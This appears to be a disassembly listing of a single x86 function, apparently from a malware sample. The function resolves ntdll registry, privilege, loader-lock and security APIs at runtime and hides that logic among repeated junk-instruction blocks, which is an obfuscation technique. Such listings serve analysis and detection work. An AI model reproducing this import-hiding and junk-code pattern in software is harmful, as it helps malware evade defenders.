Function at 0x5d0d20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
test edi, edi
je 0x5d16fc
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
mov esi, dword [ebp + 8]
push str.RtlCreateSecurityDescriptor
push edi
call esi
push str.RtlAnsiStringToUnicodeString
push edi
mov dword [0x61ad38], eax
call esi
push str.NtQueryInformationThread
push edi
mov dword [0x61ace8], eax
call esi
push str.NtQueryValueKey
push edi
mov dword [0x61ad24], eax
call esi
push str.LdrUnregisterDllNotification
push edi
mov dword [0x61ad04], eax
call esi
push str.LdrQueryProcessModuleInformation
push edi
mov dword [0x61ad64], eax
call esi
push str.RtlInitAnsiString
push edi
mov dword [0x61ad18], eax
call esi
push str.NtOpenKey
push edi
mov dword [0x61ace4], eax
call esi
push str.NtDeleteValueKey
push edi
mov dword [0x61acf8], eax
call esi
push str.LdrUnlockLoaderLock
push edi
mov dword [0x61ad08], eax
call esi
push str.RtlRandom
push edi
mov dword [0x61ad5c], eax
call esi
mov dword [0x61ad54], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.RtlNtStatusToDosError
push edi
mov dword [0x61ade0], eax
call esi
push str.RtlCreateAcl
push edi
mov dword [0x61ad50], eax
call esi
push str.NtQueryInformationProcess
push edi
mov dword [0x61ad30], eax
call esi
push str.RtlSetGroupSecurityDescriptor
push edi
mov dword [0x61ad20], eax
call esi
push str.RtlSetDaclSecurityDescriptor
push edi
mov dword [0x61ad44], eax
call esi
push str.RtlAdjustPrivilege
push edi
mov dword [0x61ad3c], eax
call esi
push str.LdrGetDllHandle
push edi
mov dword [0x61ad2c], eax
call esi
push str.RtlInitUnicodeString
push edi
mov dword [0x61ad1c], eax
call esi
mov dword [0x61acf0], eax
push str.NtSetValueKey
push edi
call esi
push str.RtlFreeUnicodeString
push edi
mov dword [0x61ad00], eax
call esi
push str.NtCreateKey
push edi
mov dword [0x61acf4], eax
call esi
push str.LdrLockLoaderLock
push edi
mov dword [0x61acfc], eax
call esi
push str.ApiSetQueryApiSetPresenceEx
push edi
mov dword [0x61ad58], eax
call esi
push str.LdrRegisterDllNotification
push edi
mov dword [0x61ad28], eax
call esi
push str.NtNotifyChangeKey
push edi
mov dword [0x61ad60], eax
call esi
push str.RtlInitializeSid
push edi
mov dword [0x61ad10], eax
call esi
push 0x61a030
push edi
mov dword [0x61ad4c], eax
call esi
push str.LdrGetDllHandle
push edi
mov dword [0x61ad0c], eax
call esi
mov dword [0x61ad1c], eax
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
mov edi, dword [ebp + 8]
mov eax, 0x61ace4
mov dword [0x61aaf4], 0x40
mov esi, dword [eax]
add eax, 4
xor edi, esi
cmp eax, 0x61ade4
jb 0x5d186d
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
and ebx, 0x52506557
cmp edx, ebx
fld qword [0x61a028]
mov ax, sp
test ah, 0xad
cmp sp, cx
sbb al, 0x65
push ebx
rcl ebx, 4
or ebx, 0xad0d3aa0
bswap ebx
cmp ebx, 0xfadbaf0d
fld qword [0x61a020]
neg ecx
mov edx, 0xe203ad0d
shrd ebx, ecx, 1
sbb ecx, dword [0x61aaf8]
xor ecx, 0x5795e203
bswap ecx
btc eax, esi
pop eax
fdivp st(1)
mov ebx, dword [ebp - 0x14]
lea esi, [esi + 3]
add ebx, dword [ebp - 0x18]
shl ebx, cl
test ebx, 0xad0d3aa0
setne al
cmp edx, 0x52506557
btc cx, 0x95
sbb ebx, 0xad0d3aa0
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret